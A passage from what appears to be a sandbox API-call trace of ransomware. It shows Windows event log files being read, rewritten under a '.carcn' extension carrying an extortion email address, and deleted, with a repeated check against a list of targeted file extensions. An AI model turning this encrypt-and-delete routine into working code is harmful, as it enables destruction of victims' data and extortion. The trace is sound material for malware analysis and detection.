hTemplateFile=0x0) returned 0x370 [0180.739] GetLastError () returned 0x0 [0180.739] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.767] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.769] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.769] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x130, lpOverlapped=0x0) returned 1 [0180.769] SetEndOfFile (hFile=0x370) returned 1 [0180.769] CloseHandle (hObject=0x370) returned 1 [0180.771] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.771] SetEndOfFile (hFile=0x374) returned 1 [0180.772] CloseHandle (hObject=0x374) returned 1 [0180.775] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.775] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0180.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.776] lstrlenW (lpString=".doc") returned 4 [0180.776] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.776] lstrlenW (lpString=".docx") returned 5 [0180.776] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.776] lstrlenW (lpString=".pdf") returned 4 [0180.776] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.776] lstrlenW (lpString=".xls") returned 4 [0180.776] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.776] lstrlenW (lpString=".xlsx") returned 5 [0180.776] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.776] lstrlenW (lpString=".ppt") returned 4 [0180.776] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.776] lstrlenW (lpString=".zip") returned 4 [0180.776] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.776] lstrlenW (lpString=".rar") returned 4 [0180.776] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.776] lstrlenW (lpString=".bz2") returned 4 [0180.776] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.776] lstrlenW (lpString=".7z") returned 3 [0180.776] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.776] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.777] lstrlenW (lpString=".dbf") returned 4 [0180.777] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.777] lstrlenW (lpString=".1cd") returned 4 [0180.777] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.777] lstrlenW (lpString=".jpg") returned 4 [0180.777] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.777] lstrlenW (lpString=".doc") returned 4 [0180.777] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString=".docx") returned 5 [0180.777] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.777] lstrlenW (lpString=".pdf") returned 4 [0180.777] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString=".xls") returned 4 [0180.777] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString=".xlsx") returned 5 [0180.777] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.777] lstrlenW (lpString=".ppt") returned 4 [0180.777] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.777] lstrlenW (lpString=".zip") returned 4 [0180.777] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString=".rar") returned 4 [0180.777] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString=".bz2") returned 4 [0180.777] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString=".7z") returned 3 [0180.777] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.777] lstrlenW (lpString=".dbf") returned 4 [0180.777] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.777] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.778] lstrlenW (lpString=".1cd") returned 4 [0180.778] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.778] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0180.778] lstrlenW (lpString=".jpg") returned 4 [0180.778] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.778] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.778] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0180.778] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.778] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.778] CloseHandle (hObject=0x374) returned 1 [0180.778] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0180.778] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.778] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.778] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.779] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.779] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.779] GetLastError () returned 0x0 [0180.779] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.859] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.861] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.861] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x132, lpOverlapped=0x0) returned 1 [0180.861] SetEndOfFile (hFile=0x370) returned 1 [0180.863] CloseHandle (hObject=0x370) returned 1 [0180.865] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.865] SetEndOfFile (hFile=0x374) returned 1 [0180.867] CloseHandle (hObject=0x374) returned 1 [0180.867] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.867] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0180.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.867] lstrlenW (lpString=".doc") returned 4 [0180.867] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.867] lstrlenW (lpString=".docx") returned 5 [0180.867] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.867] lstrlenW (lpString=".pdf") returned 4 [0180.867] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.867] lstrlenW (lpString=".xls") returned 4 [0180.867] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.867] lstrlenW (lpString=".xlsx") returned 5 [0180.867] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.867] lstrlenW (lpString=".ppt") returned 4 [0180.868] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.868] lstrlenW (lpString=".zip") returned 4 [0180.868] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString=".rar") returned 4 [0180.868] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString=".bz2") returned 4 [0180.868] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString=".7z") returned 3 [0180.868] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.868] lstrlenW (lpString=".dbf") returned 4 [0180.868] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.868] lstrlenW (lpString=".1cd") returned 4 [0180.868] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.868] lstrlenW (lpString=".jpg") returned 4 [0180.868] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.868] lstrlenW (lpString=".doc") returned 4 [0180.868] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString=".docx") returned 5 [0180.868] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.868] lstrlenW (lpString=".pdf") returned 4 [0180.868] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString=".xls") returned 4 [0180.868] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString=".xlsx") returned 5 [0180.868] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.868] lstrlenW (lpString=".ppt") returned 4 [0180.868] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.869] lstrlenW (lpString=".zip") returned 4 [0180.869] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.869] lstrlenW (lpString=".rar") returned 4 [0180.869] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.869] lstrlenW (lpString=".bz2") returned 4 [0180.869] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.869] lstrlenW (lpString=".7z") returned 3 [0180.869] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.869] lstrlenW (lpString=".dbf") returned 4 [0180.869] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.869] lstrlenW (lpString=".1cd") returned 4 [0180.869] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0180.869] lstrlenW (lpString=".jpg") returned 4 [0180.869] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.869] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.869] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0180.869] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.869] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.869] CloseHandle (hObject=0x374) returned 1 [0180.870] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0180.870] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.870] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.870] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.870] GetLastError () returned 0x0 [0180.870] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.923] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.925] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.925] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x130, lpOverlapped=0x0) returned 1 [0180.925] SetEndOfFile (hFile=0x370) returned 1 [0180.925] CloseHandle (hObject=0x370) returned 1 [0180.927] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.927] SetEndOfFile (hFile=0x374) returned 1 [0180.928] CloseHandle (hObject=0x374) returned 1 [0180.929] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.929] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0180.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.929] lstrlenW (lpString=".doc") returned 4 [0180.929] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.929] lstrlenW (lpString=".docx") returned 5 [0180.929] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.929] lstrlenW (lpString=".pdf") returned 4 [0180.929] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.929] lstrlenW (lpString=".xls") returned 4 [0180.929] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.929] lstrlenW (lpString=".xlsx") returned 5 [0180.929] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.929] lstrlenW (lpString=".ppt") returned 4 [0180.929] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.930] lstrlenW (lpString=".zip") returned 4 [0180.930] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString=".rar") returned 4 [0180.930] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString=".bz2") returned 4 [0180.930] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString=".7z") returned 3 [0180.930] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.930] lstrlenW (lpString=".dbf") returned 4 [0180.930] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.930] lstrlenW (lpString=".1cd") returned 4 [0180.930] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.930] lstrlenW (lpString=".jpg") returned 4 [0180.930] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.930] lstrlenW (lpString=".doc") returned 4 [0180.930] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString=".docx") returned 5 [0180.930] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.930] lstrlenW (lpString=".pdf") returned 4 [0180.930] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString=".xls") returned 4 [0180.930] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.930] lstrlenW (lpString=".xlsx") returned 5 [0180.930] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.930] lstrlenW (lpString=".ppt") returned 4 [0180.931] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.931] lstrlenW (lpString=".zip") returned 4 [0180.931] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.931] lstrlenW (lpString=".rar") returned 4 [0180.931] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.931] lstrlenW (lpString=".bz2") returned 4 [0180.931] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.931] lstrlenW (lpString=".7z") returned 3 [0180.931] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.931] lstrlenW (lpString=".dbf") returned 4 [0180.931] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.931] lstrlenW (lpString=".1cd") returned 4 [0180.931] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0180.931] lstrlenW (lpString=".jpg") returned 4 [0180.931] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.931] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.931] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0180.931] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.932] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.932] CloseHandle (hObject=0x374) returned 1 [0180.932] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0180.932] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.932] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.932] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.932] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.932] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.932] GetLastError () returned 0x0 [0180.932] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.957] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.958] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.958] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x12e, lpOverlapped=0x0) returned 1 [0180.958] SetEndOfFile (hFile=0x370) returned 1 [0180.959] CloseHandle (hObject=0x370) returned 1 [0180.960] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.960] SetEndOfFile (hFile=0x374) returned 1 [0180.961] CloseHandle (hObject=0x374) returned 1 [0180.961] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.962] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0180.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.962] lstrlenW (lpString=".doc") returned 4 [0180.962] lstrcmpiW 